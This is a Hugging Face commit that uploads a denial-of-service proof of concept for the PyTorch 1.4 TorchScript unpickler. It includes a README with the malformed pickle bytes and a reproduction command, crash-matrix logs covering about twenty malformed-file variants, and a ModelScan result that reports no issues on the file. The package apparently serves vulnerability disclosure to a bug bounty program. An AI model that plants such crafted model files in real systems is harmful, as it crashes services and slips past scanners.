pragnyanramtha commited on
Commit
bf18f79
·
verified ·
1 Parent(s): bf0d9b3

Upload folder using huggingface_hub

Browse files
README.md ADDED
@@ -0,0 +1,65 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ tags:
3
+ - torchscript
4
+ - pytorch
5
+ - security
6
+ - dos
7
+ - poc
8
+ license: bsd-3-clause
9
+ ---
10
+
11
+ # TorchScript v1.4 JIT Unpickler Native DoS PoC
12
+
13
+ This is a benign proof of concept for a TorchScript v1.4 load-time native denial of service.
14
+
15
+ The artifact `artifacts/underflow_appends.pt` is a minimal TorchScript ZIP archive with a malformed `constants.pkl` payload:
16
+
17
+ ```text
18
+ 80 02 5d 65 2e
19
+ PROTO 2, EMPTY_LIST, APPENDS, STOP
20
+ ```
21
+
22
+ In PyTorch `1.4.0`, `torch.jit.load()` reaches the JIT unpickler and crashes natively on this malformed pickle opcode sequence. Current PyTorch versions tested locally return clean parser errors instead, so this report is specifically scoped to TorchScript v1.4.
23
+
24
+ ## Reproduction
25
+
26
+ Use a Python environment with PyTorch `1.4.0` installed:
27
+
28
+ ```bash
29
+ python verify_torchscript_v14_dos.py --python /path/to/python-with-torch-1.4.0
30
+ ```
31
+
32
+ Expected output includes a native-crash return code:
33
+
34
+ ```json
35
+ {
36
+ "returncode": -11,
37
+ "native_crash": true
38
+ }
39
+ ```
40
+
41
+ Depending on the shell/platform, SIGSEGV may also appear as exit code `139`; SIGABRT variants appear as `134`.
42
+
43
+ ## Impact
44
+
45
+ An attacker-controlled TorchScript v1.4 model file can crash a process that calls `torch.jit.load()` on the artifact. This is a model-file-carried denial of service. It is not arbitrary code execution and no controlled memory-corruption primitive is claimed.
46
+
47
+ Severity estimate: Medium, if TorchScript v1.4 is in scope. This is weaker if only current PyTorch versions are accepted.
48
+
49
+ ## Evidence
50
+
51
+ Included evidence:
52
+
53
+ - `evidence/torch_1_4_matrix.txt`: PyTorch `1.4.0` crash matrix for malformed `constants.pkl` variants.
54
+ - `evidence/current_torch_2_8_matrix_nomemlimit.txt`: current-version comparison showing clean parser errors.
55
+ - `evidence/modelscan_0_8_8_underflow_appends.json`: ModelScan 0.8.8 output, zero issues while scanning `ts/constants.pkl`.
56
+
57
+ ## Hashes
58
+
59
+ ```text
60
+ bd34cabfd35feb96ced8a63489c5899aa9b17c000ce552406519998d5d3855f1 artifacts/underflow_appends.pt
61
+ ```
62
+
63
+ ## Limitation
64
+
65
+ This is intentionally version-scoped. It should be submitted only to programs that accept TorchScript v1.4 or old-version model-format DoS findings.
artifacts/underflow_appends.pt ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:bd34cabfd35feb96ced8a63489c5899aa9b17c000ce552406519998d5d3855f1
3
+ size 232
evidence/current_torch_2_8_matrix_nomemlimit.txt ADDED
@@ -0,0 +1,344 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ python=python3
2
+ timeout=8.0
3
+ mem_mib=0
4
+
5
+ ## appends_mark_no_container.pt
6
+ rc=1 elapsed=1.870s
7
+ [stdout]
8
+ python=3.12.3
9
+ torch=2.8.0+cu128
10
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/appends_mark_no_container.pt
11
+ [stderr]
12
+ Traceback (most recent call last):
13
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
14
+ main()
15
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
16
+ torch.jit.load(args.artifact, map_location="cpu")
17
+ File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
18
+ cpp_module = torch._C.import_ir_module(
19
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^
20
+ RuntimeError: Parsing error: wrong start index 0 for stack_ of size 0
21
+
22
+ ## binget_oob.pt
23
+ rc=1 elapsed=1.659s
24
+ [stdout]
25
+ python=3.12.3
26
+ torch=2.8.0+cu128
27
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/binget_oob.pt
28
+ [stderr]
29
+ Traceback (most recent call last):
30
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
31
+ main()
32
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
33
+ torch.jit.load(args.artifact, map_location="cpu")
34
+ File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
35
+ cpp_module = torch._C.import_ir_module(
36
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^
37
+ RuntimeError: Parsing error: out of bounds access at 255 to memo_table_ which is of size 0
38
+
39
+ ## compressed_constants_128m.pt
40
+ rc=1 elapsed=7.782s
41
+ [stdout]
42
+ python=3.12.3
43
+ torch=2.8.0+cu128
44
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/compressed_constants_128m.pt
45
+ [stderr]
46
+ Traceback (most recent call last):
47
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
48
+ main()
49
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
50
+ torch.jit.load(args.artifact, map_location="cpu")
51
+ File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
52
+ cpp_module = torch._C.import_ir_module(
53
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^
54
+ RuntimeError: Unpickler expected 1 element on the stack, but found 134217729
55
+
56
+ ## dict_odd_item_count.pt
57
+ rc=1 elapsed=1.766s
58
+ [stdout]
59
+ python=3.12.3
60
+ torch=2.8.0+cu128
61
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/dict_odd_item_count.pt
62
+ [stderr]
63
+ Traceback (most recent call last):
64
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
65
+ main()
66
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
67
+ torch.jit.load(args.artifact, map_location="cpu")
68
+ File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
69
+ cpp_module = torch._C.import_ir_module(
70
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^
71
+ RuntimeError: Parsing error: stack_ is of size 1 and start index is 0, but stack_ is iterated by two elements at a time
72
+
73
+ ## duplicate_constants_first_benign_second_crash.pt
74
+ rc=1 elapsed=1.934s
75
+ [stdout]
76
+ python=3.12.3
77
+ torch=2.8.0+cu128
78
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/duplicate_constants_first_benign_second_crash.pt
79
+ [stderr]
80
+ Traceback (most recent call last):
81
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
82
+ main()
83
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
84
+ torch.jit.load(args.artifact, map_location="cpu")
85
+ File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
86
+ cpp_module = torch._C.import_ir_module(
87
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^
88
+ RuntimeError: Parsing error: marks_ is empty
89
+
90
+ ## huge_binunicode_256m.pt
91
+ rc=1 elapsed=1.910s
92
+ [stdout]
93
+ python=3.12.3
94
+ torch=2.8.0+cu128
95
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/huge_binunicode_256m.pt
96
+ [stderr]
97
+ Traceback (most recent call last):
98
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
99
+ main()
100
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
101
+ torch.jit.load(args.artifact, map_location="cpu")
102
+ File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
103
+ cpp_module = torch._C.import_ir_module(
104
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^
105
+ RuntimeError: Unexpected end of pickler archive.
106
+
107
+ ## long_binget_oob.pt
108
+ rc=1 elapsed=1.936s
109
+ [stdout]
110
+ python=3.12.3
111
+ torch=2.8.0+cu128
112
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/long_binget_oob.pt
113
+ [stderr]
114
+ Traceback (most recent call last):
115
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
116
+ main()
117
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
118
+ torch.jit.load(args.artifact, map_location="cpu")
119
+ File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
120
+ cpp_module = torch._C.import_ir_module(
121
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^
122
+ RuntimeError: Parsing error: out of bounds access at 4294967295 to memo_table_ which is of size 0
123
+
124
+ ## setitems_odd_item_count.pt
125
+ rc=1 elapsed=2.161s
126
+ [stdout]
127
+ python=3.12.3
128
+ torch=2.8.0+cu128
129
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/setitems_odd_item_count.pt
130
+ [stderr]
131
+ Traceback (most recent call last):
132
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
133
+ main()
134
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
135
+ torch.jit.load(args.artifact, map_location="cpu")
136
+ File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
137
+ cpp_module = torch._C.import_ir_module(
138
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^
139
+ RuntimeError: Parsing error: stack_ is of size 2 and start index is 1, but stack_ is iterated by two elemenst at a time
140
+
141
+ ## underflow_appends.pt
142
+ rc=1 elapsed=2.219s
143
+ [stdout]
144
+ python=3.12.3
145
+ torch=2.8.0+cu128
146
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_appends.pt
147
+ [stderr]
148
+ Traceback (most recent call last):
149
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
150
+ main()
151
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
152
+ torch.jit.load(args.artifact, map_location="cpu")
153
+ File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
154
+ cpp_module = torch._C.import_ir_module(
155
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^
156
+ RuntimeError: Parsing error: marks_ is empty
157
+
158
+ ## underflow_binpersid.pt
159
+ rc=1 elapsed=1.816s
160
+ [stdout]
161
+ python=3.12.3
162
+ torch=2.8.0+cu128
163
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_binpersid.pt
164
+ [stderr]
165
+ Traceback (most recent call last):
166
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
167
+ main()
168
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
169
+ torch.jit.load(args.artifact, map_location="cpu")
170
+ File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
171
+ cpp_module = torch._C.import_ir_module(
172
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^
173
+ RuntimeError: Parsing error: stack_ is empty
174
+
175
+ ## underflow_build_empty.pt
176
+ rc=1 elapsed=1.727s
177
+ [stdout]
178
+ python=3.12.3
179
+ torch=2.8.0+cu128
180
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_build_empty.pt
181
+ [stderr]
182
+ Traceback (most recent call last):
183
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
184
+ main()
185
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
186
+ torch.jit.load(args.artifact, map_location="cpu")
187
+ File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
188
+ cpp_module = torch._C.import_ir_module(
189
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^
190
+ RuntimeError: Parsing error: stack_ contains 0 elements, at least 2 expected
191
+
192
+ ## underflow_build_one.pt
193
+ rc=1 elapsed=1.791s
194
+ [stdout]
195
+ python=3.12.3
196
+ torch=2.8.0+cu128
197
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_build_one.pt
198
+ [stderr]
199
+ Traceback (most recent call last):
200
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
201
+ main()
202
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
203
+ torch.jit.load(args.artifact, map_location="cpu")
204
+ File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
205
+ cpp_module = torch._C.import_ir_module(
206
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^
207
+ RuntimeError: Parsing error: stack_ contains 1 elements, at least 2 expected
208
+
209
+ ## underflow_newobj.pt
210
+ rc=1 elapsed=1.978s
211
+ [stdout]
212
+ python=3.12.3
213
+ torch=2.8.0+cu128
214
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_newobj.pt
215
+ [stderr]
216
+ Traceback (most recent call last):
217
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
218
+ main()
219
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
220
+ torch.jit.load(args.artifact, map_location="cpu")
221
+ File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
222
+ cpp_module = torch._C.import_ir_module(
223
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^
224
+ RuntimeError: Parsing error: stack_ is empty
225
+
226
+ ## underflow_reduce_empty.pt
227
+ rc=1 elapsed=1.788s
228
+ [stdout]
229
+ python=3.12.3
230
+ torch=2.8.0+cu128
231
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_reduce_empty.pt
232
+ [stderr]
233
+ Traceback (most recent call last):
234
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
235
+ main()
236
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
237
+ torch.jit.load(args.artifact, map_location="cpu")
238
+ File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
239
+ cpp_module = torch._C.import_ir_module(
240
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^
241
+ RuntimeError: Parsing error: stack_ contains 0 elements, at least 2 expected
242
+
243
+ ## underflow_reduce_one.pt
244
+ rc=1 elapsed=2.574s
245
+ [stdout]
246
+ python=3.12.3
247
+ torch=2.8.0+cu128
248
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_reduce_one.pt
249
+ [stderr]
250
+ Traceback (most recent call last):
251
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
252
+ main()
253
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
254
+ torch.jit.load(args.artifact, map_location="cpu")
255
+ File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
256
+ cpp_module = torch._C.import_ir_module(
257
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^
258
+ RuntimeError: Parsing error: stack_ contains 1 elements, at least 2 expected
259
+
260
+ ## underflow_setitems.pt
261
+ rc=1 elapsed=2.059s
262
+ [stdout]
263
+ python=3.12.3
264
+ torch=2.8.0+cu128
265
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_setitems.pt
266
+ [stderr]
267
+ Traceback (most recent call last):
268
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
269
+ main()
270
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
271
+ torch.jit.load(args.artifact, map_location="cpu")
272
+ File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
273
+ cpp_module = torch._C.import_ir_module(
274
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^
275
+ RuntimeError: Parsing error: marks_ is empty
276
+
277
+ ## underflow_tuple.pt
278
+ rc=1 elapsed=1.929s
279
+ [stdout]
280
+ python=3.12.3
281
+ torch=2.8.0+cu128
282
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_tuple.pt
283
+ [stderr]
284
+ Traceback (most recent call last):
285
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
286
+ main()
287
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
288
+ torch.jit.load(args.artifact, map_location="cpu")
289
+ File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
290
+ cpp_module = torch._C.import_ir_module(
291
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^
292
+ RuntimeError: Parsing error: marks_ is empty
293
+
294
+ ## underflow_tuple1.pt
295
+ rc=1 elapsed=2.115s
296
+ [stdout]
297
+ python=3.12.3
298
+ torch=2.8.0+cu128
299
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_tuple1.pt
300
+ [stderr]
301
+ Traceback (most recent call last):
302
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
303
+ main()
304
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
305
+ torch.jit.load(args.artifact, map_location="cpu")
306
+ File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
307
+ cpp_module = torch._C.import_ir_module(
308
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^
309
+ RuntimeError: Parsing error: stack_ contains 0 elements, at least 1 expected
310
+
311
+ ## underflow_tuple2.pt
312
+ rc=1 elapsed=1.922s
313
+ [stdout]
314
+ python=3.12.3
315
+ torch=2.8.0+cu128
316
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_tuple2.pt
317
+ [stderr]
318
+ Traceback (most recent call last):
319
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
320
+ main()
321
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
322
+ torch.jit.load(args.artifact, map_location="cpu")
323
+ File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
324
+ cpp_module = torch._C.import_ir_module(
325
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^
326
+ RuntimeError: Parsing error: stack_ contains 0 elements, at least 2 expected
327
+
328
+ ## underflow_tuple3.pt
329
+ rc=1 elapsed=1.852s
330
+ [stdout]
331
+ python=3.12.3
332
+ torch=2.8.0+cu128
333
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_tuple3.pt
334
+ [stderr]
335
+ Traceback (most recent call last):
336
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
337
+ main()
338
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
339
+ torch.jit.load(args.artifact, map_location="cpu")
340
+ File "/usr/local/lib/python3.12/dist-packages/torch/jit/_serialization.py", line 168, in load
341
+ cpp_module = torch._C.import_ir_module(
342
+ ^^^^^^^^^^^^^^^^^^^^^^^^^^
343
+ RuntimeError: Parsing error: stack_ contains 0 elements, at least 3 expected
344
+
evidence/modelscan_0_8_8_underflow_appends.json ADDED
@@ -0,0 +1 @@
 
 
1
+ {"summary": {"total_issues_by_severity": {"LOW": 0, "MEDIUM": 0, "HIGH": 0, "CRITICAL": 0}, "total_issues": 0, "input_path": "/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_appends.pt", "absolute_path": "/workspace/torchscript_v1_4_agent_runtime/lab/artifacts", "modelscan_version": "0.8.8", "timestamp": "2026-05-12T12:21:25.902728", "scanned": {"total_scanned": 1, "scanned_files": ["underflow_appends.pt:ts/constants.pkl"]}}, "issues": [], "errors": []}
evidence/torch_1_4_matrix.txt ADDED
@@ -0,0 +1,229 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ python=/workspace/torchscript_v1_4_agent_runtime/.venv38/bin/python
2
+ timeout=8.0
3
+ mem_mib=0
4
+
5
+ ## appends_mark_no_container.pt
6
+ rc=1 elapsed=1.749s
7
+ [stdout]
8
+ python=3.8.20
9
+ torch=1.4.0
10
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/appends_mark_no_container.pt
11
+ [stderr]
12
+ Traceback (most recent call last):
13
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
14
+ main()
15
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
16
+ torch.jit.load(args.artifact, map_location="cpu")
17
+ File "/workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/jit/__init__.py", line 235, in load
18
+ cpp_module = torch._C.import_ir_module(cu, f, map_location, _extra_files)
19
+ IndexError: vector::_M_range_check: __n (which is 18446744073709551615) >= this->size() (which is 0)
20
+
21
+ ## binget_oob.pt
22
+ rc=1 elapsed=1.781s
23
+ [stdout]
24
+ python=3.8.20
25
+ torch=1.4.0
26
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/binget_oob.pt
27
+ [stderr]
28
+ Traceback (most recent call last):
29
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
30
+ main()
31
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
32
+ torch.jit.load(args.artifact, map_location="cpu")
33
+ File "/workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/jit/__init__.py", line 235, in load
34
+ cpp_module = torch._C.import_ir_module(cu, f, map_location, _extra_files)
35
+ IndexError: vector::_M_range_check: __n (which is 255) >= this->size() (which is 0)
36
+
37
+ ## compressed_constants_128m.pt
38
+ timeout elapsed=8.428s
39
+ [stdout]
40
+ python=3.8.20
41
+ torch=1.4.0
42
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/compressed_constants_128m.pt
43
+ [stderr]
44
+
45
+ ## dict_odd_item_count.pt
46
+ rc=1 elapsed=2.021s
47
+ [stdout]
48
+ python=3.8.20
49
+ torch=1.4.0
50
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/dict_odd_item_count.pt
51
+ [stderr]
52
+ Traceback (most recent call last):
53
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
54
+ main()
55
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
56
+ torch.jit.load(args.artifact, map_location="cpu")
57
+ File "/workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/jit/__init__.py", line 235, in load
58
+ cpp_module = torch._C.import_ir_module(cu, f, map_location, _extra_files)
59
+ RuntimeError: Can't hash IValues with this tag
60
+
61
+ ## duplicate_constants_first_benign_second_crash.pt
62
+ rc=-11 elapsed=2.020s
63
+ [stdout]
64
+ python=3.8.20
65
+ torch=1.4.0
66
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/duplicate_constants_first_benign_second_crash.pt
67
+ [stderr]
68
+
69
+ ## huge_binunicode_256m.pt
70
+ rc=1 elapsed=2.243s
71
+ [stdout]
72
+ python=3.8.20
73
+ torch=1.4.0
74
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/huge_binunicode_256m.pt
75
+ [stderr]
76
+ Traceback (most recent call last):
77
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
78
+ main()
79
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
80
+ torch.jit.load(args.artifact, map_location="cpu")
81
+ File "/workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/jit/__init__.py", line 235, in load
82
+ cpp_module = torch._C.import_ir_module(cu, f, map_location, _extra_files)
83
+ RuntimeError: Unexpected end of pickler archive. (readBytes at /pytorch/torch/csrc/jit/unpickler.cpp:649)
84
+ frame #0: c10::Error::Error(c10::SourceLocation, std::string const&) + 0x33 (0x74f117e2f193 in /workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/lib/libc10.so)
85
+ frame #1: <unknown function> + 0x40662d4 (0x74f02dc662d4 in /workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/lib/libtorch.so)
86
+ frame #2: <unknown function> + 0x406f4cc (0x74f02dc6f4cc in /workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/lib/libtorch.so)
87
+ frame #3: <unknown function> + 0x4072620 (0x74f02dc72620 in /workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/lib/libtorch.so)
88
+ frame #4: <unknown function> + 0x4072a33 (0x74f02dc72a33 in /workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/lib/libtorch.so)
89
+ frame #5: <unknown function> + 0x4093bd3 (0x74f02dc93bd3 in /workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/lib/libtorch.so)
90
+ frame #6: <unknown function> + 0x40960b4 (0x74f02dc960b4 in /workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/lib/libtorch.so)
91
+ frame #7: torch::jit::import_ir_module(std::shared_ptr<torch::jit::script::CompilationUnit>, std::string const&, c10::optional<c10::Device>, std::unordered_map<std::string, std::string, std::hash<std::string>, std::equal_to<std::string>, std::allocator<std::pair<std::string const, std::string> > >&) + 0xd7 (0x74f02dc968e7 in /workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/lib/libtorch.so)
92
+ frame #8: <unknown function> + 0x769052 (0x74f074969052 in /workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/lib/libtorch_python.so)
93
+ frame #9: <unknown function> + 0x295928 (0x74f074495928 in /workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/lib/libtorch_python.so)
94
+ <omitting python frames>
95
+ frame #25: <unknown function> + 0x2a1ca (0x74f11c4d21ca in /lib/x86_64-linux-gnu/libc.so.6)
96
+ frame #26: __libc_start_main + 0x8b (0x74f11c4d228b in /lib/x86_64-linux-gnu/libc.so.6)
97
+ frame #27: <unknown function> + 0x108e (0x578e527a308e in /workspace/torchscript_v1_4_agent_runtime/.venv38/bin/python)
98
+
99
+
100
+ ## long_binget_oob.pt
101
+ rc=1 elapsed=1.893s
102
+ [stdout]
103
+ python=3.8.20
104
+ torch=1.4.0
105
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/long_binget_oob.pt
106
+ [stderr]
107
+ Traceback (most recent call last):
108
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
109
+ main()
110
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
111
+ torch.jit.load(args.artifact, map_location="cpu")
112
